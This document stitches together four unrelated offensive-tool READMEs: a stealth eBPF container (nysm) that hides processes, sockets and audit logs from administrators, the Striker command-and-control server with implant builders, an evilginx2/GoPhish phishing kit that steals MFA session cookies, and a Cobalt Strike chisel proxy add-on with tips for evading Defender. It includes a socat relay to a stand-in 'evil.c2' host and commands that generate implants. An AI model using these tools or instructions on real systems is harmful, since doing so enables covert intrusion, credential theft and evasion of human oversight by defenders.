A stealth post-exploitation container.
With the raise in popularity of offensive tools based on eBPF, going from credential stealers to rootkits hiding their own PID, a question came to our mind: Would it be possible to make eBPF invisible in its own eyes? From there, we created nysm, an eBPF stealth container meant to make offensive tools fly under the radar of System Administrators, not only by hiding eBPF, but much more:
All these tools go blind to what goes through nysm. It hides:
Warning This tool is a simple demonstration of eBPF capabilities as such. It is not meant to be exhaustive. Nevertheless, pull requests are more than welcome.

sudo apt install git make pkg-config libelf-dev clang llvm bpftool -ycd ./nysm/src/

makenysm is a simple program to run before the intended command:
Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.
-d, --detach Run COMMAND in background
-r, --rm Self destruct after execution
-v, --verbose Produce verbose output
-h, --help Display this help
--usage Display a short usage message
Run a hidden bash:
./nysm bashRun a hidden ssh and remove ./nysm:
./nysm -r ssh user@domain
Run a hidden socat as a daemon and remove ./nysm:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443As eBPF cannot overwrite returned values or kernel addresses, our goal is to find the lowest level call interacting with a userspace address to overwrite its value and hide the desired objects.
To differentiate nysm events from the others, everything runs inside a seperated PID namespace.
bpftool has some features nysm wants to evade: bpftool prog list, bpftool map list and bpftool link list.
As any eBPF program, bpftool uses the bpf() system call, and more specifically with the BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID and BPF_LINK_GET_NEXT_ID commands. The result of these calls is stored in the userspace address pointed by the attr argument.
To overwrite uattr, a tracepoint is set on the bpf() entry to store the pointed address in a map. Once done, it waits for the bpf() exit tracepoint. When bpf() exists, nysm can read and write through the bpf_attr structure. After each BPF_*_GET_NEXT_ID, bpf_attr.start_id is replaced by bpf_attr.next_id.
In order to hide specific IDs, it checks bpf_attr.next_id and replaces it with the next ID that was not created in nysm.
Program, map, and link IDs are collected from security_bpf_prog(), security_bpf_map(), and bpf_link_prime().
Auditd receives its logs from recvfrom() which stores its messages in a buffer.
If the message received was generated by a nysm process through audit_log_end(), it replaces the message length in its nlmsghdr header by 0.
Hiding PIDs with eBPF is nothing new. nysm hides new alloc_pid() PIDs from getdents64() in /proc by changing the length of the previous record.
As getdents64() requires to loop through all its files, the eBPF instructions limit is easily reached. Therefore, nysm uses tail calls before reaching it.
Hiding sockets is a big word. In fact, opened sockets are already hidden from many tools as they cannot find the process in /proc. Nevertheless, ss uses socket() with the NETLINK_SOCK_DIAG flag which returns all the currently opened sockets. After that, ss receives the result through recvmsg() in a message buffer and the returned value is the length of all these messages combined.
Here, the same method as for the PIDs is applied: the length of the previous message is modified to hide nysm sockets.
These are collected from the connect() and bind() calls.
Even with the best effort, nysm still has some limitations.
Every tool that does not close their file descriptors will spot nysm processes created while they are open. For example, if ./nysm bash is running before top, the processes will not show up. But, if another process is created from that bash instance while top is still running, the new process will be spotted. The same problem occurs with sockets and tools like nethogs.
Kernel logs: dmesg and /var/log/kern.log, the message nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! will pop several times because of the eBPF verifier on nysm run.
Many traces written into files are left as hooking read() and write() would be too heavy (but still possible). For example /proc/net/tcp or /sys/kernel/debug/tracing/enabled_functions.
Hiding ss recvmsg can be challenging as a new socket can pop at the beginning of the buffer, and nysm cannot hide it with a preceding record (this does not apply to PIDs). A quick fix could be to switch place between the first one and the next legitimate socket, but what if a socket is in the buffer by itself? Therefore, nysm modifies the first socket information with hardcoded values.
Running bpf() with any kind of BPF_*_GET_NEXT_ID flag from a nysm child process should be avoided as it would hide every non-nysm eBPF objects.
Of course, many of these limitations must have their own solutions. Again, pull requests are more than welcome.

Striker is a simple Command and Control (C2) program.
This project is under active development. Most of the features are experimental, with more to come. Expect breaking changes.
A) Agents
B) Backend / Teamserver
C) User Interface
Clone the repo;
$ git clone https://github.com/4g3nt47/Striker.git
$ cd StrikerThe codebase is divided into 4 independent sections;
This handles all server-side logic for both operators and agents. It is a NodeJS application made with;
express - For the REST API.socket.io - For Web Socket communtication.mongoose - For connecting to MongoDB.multer - For handling file uploads.bcrypt - For hashing user passwords.The source code is in the backend/ directory. To setup the server;
Striker uses MongoDB as backend database to store all important data. You can install this locally on your machine using this guide for debian-based distros, or create a free one with MongoDB Atlas (A database-as-a-service platform).
$ cd backend$ npm install$ mkdir staticYou can use this folder to host static files on the server. This should also be where your UPLOAD_LOCATION is set to in the .env file (more on this later), but this is not necessary. Files in this directory will be publicly accessible under the path /static/.
.env file;NOTE: Values between < and > are placeholders. Replace them with appropriate values (including the <>). For fields that require random strings, you can generate them easily using;
$ head -c 100 /dev/urandom | sha256sumDB_URL=<your MongoDB connection URL>
HOST=<host to listen on (default: 127.0.0.1)>
PORT=<port to listen on (default: 3000)>
SECRET=<random string to use for signing session cookies and encrypting session data>
ORIGIN_URL=<full URL of the server you will be hosting the frontend at. Used to setup CORS>
REGISTRATION_KEY=<random string to use for authentication during signup>
MAX_UPLOAD_SIZE=<max file upload size, in bytes>
UPLOAD_LOCATION=<directory to store uploaded files to (default: static)>
SSL_KEY=<your SSL key file (optional)>
SSL_CERT=<your SSL cert file (optional)>
Note that SSL_KEY and SSL_CERT are optional. If any is not defined, a plain HTTP server will be created. This helps avoid needless overhead when running the server behind an SSL-enabled reverse proxy on the same host.
$ node index.js
[12:45:30 PM] Connecting to backend database...
[12:45:31 PM] Starting HTTP server...
[12:45:31 PM] Server started on port: 3000This is the web UI used by operators. It is a single page web application written in Svelte, and the source code is in the frontend/ directory.
To setup the frontend;
$ cd frontend$ npm install.env file with the variable VITE_STRIKER_API set to the full URL of the C2 server as configured above;VITE_STRIKER_API=https://c2.striker.local$ npm run buildThe above will compile everything into a static web application in dist/ directory. You can move all the files inside into the web root of your web server, or even host it with a basic HTTP server like that of python;
$ cd dist
$ python3 -m http.server 8000
Register button.REGISTRATION_KEY in backend/.env)This will create a standard user account. You will need an admin account to access some features. Your first admin account must be created manually, afterwards you can upgrade and downgrade other accounts in the Users tab of the web UI.
To create your first admin account;
users collection and set the admin field of the target user to true;There are different ways you can do this. If you have mongo available in you CLI, you can do it using;
$ mongo <your MongoDB connection URL>
> db.users.updateOne({username: "<your username>"}, {$set: {admin: true}})You should get the following response if it works;
{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }You can now login :)
A) Dumb Pipe Redirection
A dumb pipe redirector written for Striker is available at redirector/redirector.py. Obviously, this will only work for plain HTTP traffic, or for HTTPS when SSL verification is disabled (you can do this by enabling the INSECURE_SSL macro in the C agent).
The following example listens on port 443 on all interfaces and forward to c2.example.org on port 443;
$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Starting redirector on 0.0.0.0:443...

}
}$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker$ sudo service nginx restartYour redirector should now be up and running on port 443, and can be tested using (assuming your FQDN is striker.local);
$ curl https://striker.localIf it works, you should get the 404 response used by the backend, like;
{"error":"Invalid route!"}A) The C Agent
These are the implants used by Striker. The primary agent is written in C, and is located in agent/C/. It supports both linux and windows hosts. The linux agent depends externally on libcurl, which you will find installed in most systems.
The windows agent does not have an external dependency. It uses wininet for comms, which I believe is available on all windows hosts.
Assuming you're on a 64 bit host, the following will build for 64 host;
$ cd agent/C
$ mkdir bin
$ makeTo build for 32 bit on 64;
$ sudo apt install gcc-multilib
$ make arch=32The above compiles everything into the bin/ directory. You will need only two files to generate working implants;
bin/stub - This is the agent stub that will be used as template to generate working implants.bin/builder - This is what you will use to patch the agent stub to generate working implants.The builder accepts the following arguments;
$ ./bin/builder
[-] Usage: ./bin/builder <url> <auth_key> <delay> <stub> <outfile>Where;
<url> - The server to report to. This should ideally be a redirector, but a direct URL to the server will also work.<auth_key> - The authentication key to use when connecting to the C2. You can create this in the auth keys tab of the web UI.<delay> - Delay between each callback, in seconds. This should be at least 2, depending on how noisy you want it to be.<stub> - The stub file to read, bin/stub in this case.<outfile> - The output filename of the new implant.Example;
$ ./bin/builder https://localhost:3000 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Obfuscating strings...

[*] Patching...
[+] Operation completed!You will need MinGW for this. The following will install the 32 and 64 bit dev windows environment;
$ sudo apt install mingw-w64Build for 64 bit;
$ cd agent/C
$ mdkir bin
$ make target=winTo compile for 32 bit;
$ make target=win arch=32This will compile everything into the bin/ directory, and you will have the builder and the stub as bin\stub.exe and bin\builder.exe, respectively.
B) The Python Agent
Striker also comes with a self-contained python agent (tested on python 2.7.16 and 3.7.3). This is located at agent/python/. Only the most basic features are implemented in this agent. Useful for hosts that can't run the C agent but have python installed.
There are 2 file in this directory;
stub.py - This is the payload stub to pass to the builder.builder.py - This is what you'll be using to generate an implant.Usage example:
$ ./builder.py
[-] Usage: builder.py <url> <auth_key> <delay> <stub> <outfile>
# The following will generate a working payload as `output.py`
$ ./builder.py http://localhost:3000 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Loading agent stub...
[*] Writing configs...
[+] Agent built successfully: output.py
# Run it
$ python3 output.pyAfter following the above instructions, Striker should now be ready for use. Kindly go through the usage guide. Have fun, and happy hacking!

Combination of evilginx2 and GoPhish.
Before I begin, I would like to say that I am in no way bashing Kuba Gretzky and his work. I thank him personally for releasing evilginx2 to the public. In fact, without his work this work would not exist. I must also thank Jordan Wright for developing/maintaining the incredible GoPhish toolkit.
You should have a fundamental understanding of how to use GoPhish, evilginx2, and Apache2.
I shall not be responsible or liable for any misuse or illegitimate use of this software. This software is only to be used in authorized penetration testing or red team engagements where the operator(s) has(ve) been given explicit written permission to carry out social engineering.
As a penetration tester or red teamer, you may have heard of evilginx2 as a proxy man-in-the-middle framework capable of bypassing two-factor/multi-factor authentication. This is enticing to us to say the least, but when trying to use it for social engineering engagements, there are some issues off the bat. I will highlight the two main problems that have been addressed with this project, although some other bugs have been fixed in this version which I will highlight later.
evilginx2 does not provide unique tracking statistics per victim (e.g. opened email, clicked link, etc.), this is problematic for clients who want/need/pay for these statistics when signing up for a social engineering engagement.evilginx2 bases a lot of logic off of remote IP address and will whitelist an IP for 10 minutes after the victim triggers a lure path. evilginx2 will then skip creating a new session for the IP address if it triggers the lure path again (if still in the 10 minute window). This presents issues for us if our victims are behind a firewall all sharing the same public IP address, as the same session within evilginx2 will continue to overwrite with multiple victim's data, leading to missed and lost data. This also presents an issue for our proxy setup, since localhost is the only IP address requesting evilginx2.In this setup, GoPhish is used to send emails and provide a dashboard for evilginx2 campaign statistics, but it is not used for any landing pages. Your phishing links sent from GoPhish will point to an evilginx2 lure path and evilginx2 will be used for landing pages. This provides the ability to still bypass 2FA/MFA with evilginx2, without losing those precious stats. Apache2 is simply used as a proxy to the local evilginx2 server and an additional hardening layer for your phishing infrastructure. Realtime campaign event notifications have been provided with a local websocket/http server I have developed and full usable JSON strings containing tokens/cookies from evilginx2 are displayed directly in the GoPhish GUI (and feed):
evilginx2 will listen locally on port 8443
GoPhish will listen locally on port 8080 and 3333
Apache2 will listen on port 443 externally and proxy to local evilginx2 server Apache2 layer based on redirect rules and IP blacklist configuration evilginx2 if a request hits the evilginx2 serversetup.sh has been provided to automate the needed configurations for you. Once this script is run and you've fed it the right values, you should be ready to get started. Below is the setup help (note that certificate setup is based on letsencrypt filenames):
In case you ran setup.sh once and already replaced the default RId value throughout the project, replace_rid.sh was created to replace the RId value again.
Usage:
./replace_rid <previous rid> <new rid>
- previous rid - the previous rid value that was replaced
- new rid - the new rid value to replace the previous
Example:
./replace_rid.sh user_id client_id
Once setup.sh is run, the next steps are:
GoPhish and configure email template, email sending profile, and groupsevilginx2 and configure phishlet and lure (must specify full path to GoPhish sqlite3 database with -g flag)Apache2 server is startedGoPhish and make the landing URL your lure path for evilginx2 phishletAn entire reworking of GoPhish was performed in order to provide SMS campaign support with Twilio. Your new evilgophish dashboard will look like below:
Once you have run setup.sh, the next steps are:
SMS message template. You will use Text only when creating a SMS message template, and you should not include a tracking link as it will appear in the SMS message. Leave Envelope Sender and Subject blank like below:SMS Sending Profile. Enter your phone number from Twilio, Account SID, Auth Token, and delay in between messages into the SMS Sending Profiles page:CSV template values have been kept the same for compatibility, so keep the CSV column names the same and place your target phone numbers into the Email column. Note that Twilio accepts the following phone number formats, so they must be in one of these three:evilginx2 and configure phishlet and lure (must specify full path to GoPhish sqlite3 database with -g flag)Apache2 server is startedGoPhish and make the landing URL your lure path for evilginx2 phishletRealtime campaign event notifications are handled by a local websocket/http server and live feed app. To get setup:
Select true for feed bool when running setup.sh
cd into the evilfeed directory and start the app with ./evilfeed
When starting evilginx2, supply the -feed flag to enable the feed. For example:
./evilginx2 -feed -g /opt/evilgophish/gophish/gophish.db
http://localhost:1337/. The feed dashboard will look like below:IMPORTANT NOTES
JavaScript and you DO NOT need to refresh the page. If you refresh the page, you will LOSE all events up to that point.Included in the evilginx2/phishlets folder are three custom phishlets not included in evilginx2.
o3652 - modified/updated version of the original o365 (stolen from Optiv blog)google - updated from previous examples online (has issues, don't use in live campaigns)knowbe4 - custom (don't have access to an account for testing auth URL, works for single-factor campaigns, have not fully tested MFA)I feel like the world has been lacking some good phishlet examples lately. It would be great if this repository could be a central repository for the latest phishlets. Send me your phishlets at fin3ss3g0d@pm.me for a chance to end up in evilginx2/phishlets. If you provide quality work, I will create a Phishlets Hall of Fame and you will be added to it.

SMS Campaign SupportSee the CHANGELOG.md file for changes made since the initial release.
I am taking the same stance as Kuba Gretzky and will not help creating phishlets. There are plenty of examples of working phishlets and for you to create your own, if you open an issue for a phishlet it will be closed. I will also not consider issues with your Apache2, DNS, or certificate setup as legitimate issues and they will be closed. However, if you encounter a legitimate failure/error with the program, I will take the issue seriously.
I would like to see this project improve and grow over time. If you have improvement ideas, new redirect rules, new IP addresses/blocks to blacklist, phishlets, or suggestions, please email me at: fin3ss3g0d@pm.me or open a pull request.

A .NET XOR encrypted cobalt strike aggressor implementation for chisel to utilize faster proxy and advanced socks5 capabilities.
In my experience I found socks4/socks4a proxies quite slow in comparison to its socks5 counterparts and a lack of implementation of socks5 in most C2 frameworks. There is a C# wrapper around the go version of chisel called SharpChisel. This wrapper has a few issues and isn't maintained to the latest version of chisel. It didnβt allow using shellcode with donut, reflectio n methods or execute-assembly. I found a fix for this using the SharpChisel-NG project.
Since the SharpChisel assembly is around 16.7 MB, execute-assembly(has a hidden size limitation of 1 MB) and similar in memory methods wouldnβt work. To maintain most of the execution in memory I incorporated the NetLoader project by Flangvik which is executed via execute-assembly to reflectively host and load a XOR encrypted version of SharpChisel with base64 arguments in memory.
As an alternative, it is also possible to implement similar C# proxies like SharpSocks by replacing the appropriate chisel binaries in the project.
Note: If using a Windows teamserver skip steps 2 and 3.
Clone/download the repository: git clone https://github.com/m3rcer/Chisel-Strike.git
Make all binaries executable:
cd Chisel-Strike
chmod +x -R chisel-modules
chmod +x -R tools
Mingw-w64 and mono:sudo apt-get install mingw-w64
sudo apt install mono-complete
ChiselStrike.cna in cobalt strike using the Script Manager
Recompile binaries from the src folder if needed.
chisel can be executed on both the teamserver (windows/linux) and the beacon. With either acting as the server/client. A normal execution flow would be to setup a chisel server on the teamserver and create a client on the beacon connecting back to the teamserver.
chisel <client/server> <command>: Run Chisel on a beacon
chisel-tms <client/server> <command>: Run Chisel on your teamserver
chisel-enc: XOR Encrypt SharpChisel.exe with a password of choice
chisel-jobs: List active chisel jobs on the teamserver and beacon
chisel-kill: Kill active chisel jobs on a beacon
chisel-tms-kill: Kill active chisel jobs on teamserver
NetLoader can easily be obfuscated and used to bypass defender using projects like NimCrypt2 and the like.
Yet SharpChisel.exe drops a dll on disk due to the use of Costura/Fody packages at a location similar to: C:\Users\m3rcer\AppData\Local\Temp\Costura\CB9433C24E75EC539BF34CD1AA12B236\64\main.dll which is detected by defender. It is advised to obfuscate chisel dll's using projects like gobfuscate in the SharpChisel-NG project and re-build new SharpChisel-NG binaries as shown here.
Figure a way to avoid SharpChisel dropping main.dll on disk / Create a new C# wrapper for chisel.
Create a method to parse command output for the chisel-tms command.
